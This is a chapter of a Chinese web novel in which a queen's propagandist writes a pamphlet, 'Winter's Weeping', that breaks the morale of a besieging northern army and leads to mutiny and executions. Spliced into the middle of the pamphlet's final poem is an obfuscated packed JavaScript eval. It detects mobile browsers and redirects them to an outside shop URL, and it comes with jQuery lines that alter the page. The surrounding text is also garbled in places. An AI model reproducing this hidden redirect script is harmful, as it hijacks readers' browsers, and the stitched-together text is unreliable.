图兰堡的围城战,在经历了最初那几场毁天灭地的攻防之后,陷入了一种令人窒息的僵持。
北方的战鼓不再每日擂响,取而代之的,是死一般的沉寂。大将军青钰雯被迫将她那损失惨重的军队后撤了十里,在寒风呼啸的雪原上扎下连绵的营盘,用最古老、也最无奈的方式——围困,试图耗尽那座黑色堡垒最后的生命力。
然而,她不知道的是,一场真正致命的瘟疫,并非源于城下那早已腐烂、发臭的尸山,而是正顺着那些蜿蜒的补给线,从遥远的南方,悄无声息地,向着她那早已疲惫不堪的、庞大的军队心脏,侵袭而来。
***
那不勒斯,皇家史学与艺术编纂院。
这里是女王鞠婧祎麾下第四大支柱——【真理织网】的巢穴。与【禁忌工坊】那充满了刺鼻化学气味的实验室不同,这里永远弥漫着昂贵纸张的清香与新鲜研磨的墨水那独特的、带着一丝苦涩的芬芳。
【真理织网】的领袖,颜沁,正端坐在她那间由巨大落地窗和堆满古籍的书架构筑而成的、明亮而安静的书房里。她的面前,没有军事地图,也没有伤亡报告。只有一份来自【黄金天秤】的、关于北方王国最新物价指数的详细报表,和几封由【黑曜石卫队】从前线截获的、来自北方士兵家庭的普通家信。
刘增艳的“黄金瘟疫”已经取得了完美的战果。报表上那一条条如同悬崖峭死峭的、代表着粮价与盐价的上涨曲线,在颜沁眼中,比任何史诗都更动人。而那些家信中,用最朴实的文字所描述的饥饿、寒冷与对战争的厌倦,则是她即将谱写的、这曲末日悲歌最完美的韵脚。
“陛下,”颜沁对着身旁那枚用于通讯的、闪烁着微光的魔法水晶,轻声汇报,“北方的土壤,已经足够贫瘠、足够干涸。现在,是时候播下我们为他们准备的、最后的种子了。”
水晶的另一头,传来了女王那不带任何感情的、冰冷的声音:“我只要结果。”
“如您所愿,我的女王。”
颜沁微笑着,切断了通讯。她走到巨大的书桌前,摊开一张洁白的、产自南方顶级工坊的莎草纸,拿起一支由天鹅羽毛制成的、笔尖被打磨得无比锋利的蘸水笔,开始为这场战争,谱写它真正的、也是最终的安魂曲。
她不是在撰写檄文,那太粗鄙,也太低效。她要创作的,是一件艺术品。一件能绕过所有理性的防线,精准地、温柔地,刺入敌人灵魂最柔软、最脆弱之处的艺术品。
它的名字,叫做——**《冬日的哭泣》**。
***
半个月后,图兰堡城外的北方军营。
中军帐内,大将军青钰雯正烦躁地来回踱步。
围城已经持续了近两个月,她麾下士兵的士气,正以肉眼可见的速度跌落谷底。这并非因为战斗的失利,而是因为一种比敌人的刀剑更可怕的东西——饥饿与绝望。
后方送来的军粮越来越少,质量也越来越差,甚至出现了混杂着沙土的黑面包。而真正致命的,是食盐与基础药品的彻底断绝。士兵们的小伤口会迅速感染、溃烂,最终不得不截肢;而坏血病,这个在和平时期早已绝迹的幽灵,也开始在军营中悄然蔓延。
更让她心力交瘁的,是那些从后方传来的、令人不安的消息。国王陛下在国内的铁血清洗,非但没有稳固后方,反而激起了更大规模的骚乱。那些曾经无比拥戴国王的民众,在饥饿面前,开始将矛头指向了这场他们看来“毫无意义”的战争。
“荣耀”这个词,在现实的残酷面前,显得如此苍白,如此可笑。
就在这时,帐帘被猛地掀开,一名负责巡查的千夫长神色慌张地闯了进来。
“将军!不好了!我们在西营的士兵……哗变了!”
“什么?!”青钰雯瞳孔一缩。
- “他们……他们因为争抢一袋发霉的土豆而发生了械斗,死了十几个人!现在,几百个人正围着粮仓,高喊着要吃饭,要回家!”
青钰雯闻言,气得浑身发抖。她正要下令派亲卫队前去镇压,那名千夫长却又从怀里掏出了一本被揉搓得不成样子的小册子,颤抖着递了上来。
“将军……还有这个……我们在哗变的士兵身上,搜到了这个。现在,几乎……几乎整个军营,都在悄悄传看这东西!”
青钰雯一把夺过那本小册子。
册子的封面,是用最粗糙的木版画印制的,画面上,是一个衣衫褴褛的女人,抱着一个瘦弱的孩子,在漫天风雪中,遥望着远方。
标题,只有四个字——**《冬日的哭泣》**。
青钰雯皱着眉,翻开了它。
里面没有慷慨激昂的政治口号,没有对那不勒斯的歌功颂德,甚至没有一句直接攻击北方国王的话。
有的,只是一个又一个,用最平实、最朴素的语言讲述的、属于普通北方家庭的悲伤故事。
第一个故事,叫《空荡荡的米缸》。
讲述的是一个名叫汉斯的年轻士兵,他在图兰堡前线,为了掩护战友,被南方的炼金火焰烧伤了半张脸。他忍着剧痛,唯一的信念,就是盼着能早日拿到军饷,寄回家中,给怀孕的妻子和年迈的母亲买过冬的粮食。然而,当他那份沾着血汗的军饷,历经周折终于送到家时,他的妻子却发现,这笔钱,连半袋黑麦粉都买不起了……
第二个故事,叫《冰冷的壁炉》。
- 讲述的是一个名叫卡莲的女孩,她的父亲是一名光荣的旗手,在图兰堡的攻城战中,身中数箭,依旧将北方的战旗死死地插在城墙之下。然而,在遥远的后方,他的女儿卡莲,却因为家中再也买不起一块木炭,在一个寒冷的冬夜,活活冻死在了冰冷的壁炉旁……
青钰雯的手,开始微微颤抖。
她翻到了最后一页。
那一页上,没有故事,只有一首不知名的、在民间流传的短诗:
“你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17424103|200850||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的剑,为国王的荣耀而战,”
“你的犁,却在自家的田里生锈。”
“你用胸膛,挡住南方的箭矢,”
“谁的臂膀,为你的妻儿遮挡寒流?”
“战神的神像,依旧高高在上,”
“你孩子的碗里,却空空如也,只剩下风在怒吼。”
“哐当——!”
青钰wen猛地将那本小册子狠狠地摔在地上,仿佛那不是一本薄薄的册子,而是一条正在吞噬她军队灵魂的、冰冷的毒蛇。
她终于明白了。
这才是那不勒斯女王,真正的、最致命的武器。
它杀死的不是士兵的□□,而是他们战斗的理由。它瓦解的不是军队的阵型,而是支撑着这支军队的、整个国家的精神。
“传我的命令!”她用嘶哑的声音吼道,“全军搜查!所有私藏、传阅此书者,一律以通敌罪论处,就地格杀!”
然而,她知道,一切都太迟了。
思想的瘟疫一旦开始蔓延,便再也无法被刀剑所禁绝。
***
接下来的几天,整个北方军营都笼罩在一种诡异的、高压的氛围之下。
督战队四处巡查,没收并焚烧了成百上千本《冬日的哭泣》。数十名被发现“屡教不改”的士兵,被当众吊死在营地的旗杆上,以儆效尤。
但这种血腥的镇压,非但没能遏制瘟疫的蔓延,反而激起了更深的、无声的反抗。
士兵们不再公开传阅,但那些故事,那些诗句,早已刻在了他们的心里,变成了在夜深人静时,帐篷里压抑的、绝望的耳语。
“……我家的婆娘来信说,村里的税吏又来催缴‘战争特别税’了,再交不出来,就要把我们家最后那头牛牵走了……”
“……我的小儿子,上个月就该满五岁了。信上说,他已经快半个月没吃过肉了……”
“……我们在这里,到底是为了什么?为了让国王的王座更高一些?还是为了让我们自己的坟墓,挖得更深一些?”
“荣耀?荣耀能当饭吃吗?!”
怀疑的种子,一旦种下,便会疯狂地生根、发芽。
士兵们开始怠慢训练,他们看向军官的眼神,不再是尊敬,而是充满了怨恨与麻木。小规模的逃兵事件,开始在军营的各个角落,此起彼伏地发生。
整个北方军团,这头曾经让大陆为之颤抖的雄狮,它的灵魂,正在被一滴滴看不见的墨水,无声地、彻底地毒杀。
在遥远的那不勒斯王宫,颜沁看着【黑曜石卫队】呈上来的、关于北方军营士气崩溃的报告,只是平静地将一支用完的、笔尖已经分叉的羽毛笔,丢进了垃圾桶。
然后,她从笔筒中,拿出了一支全新的、更锋利的笔。
她知道,她的下一部“作品”,将不再是催人泪下的悲歌。
而将是,为那位北方的“暴君”,亲手谱写的、最后的墓志铭。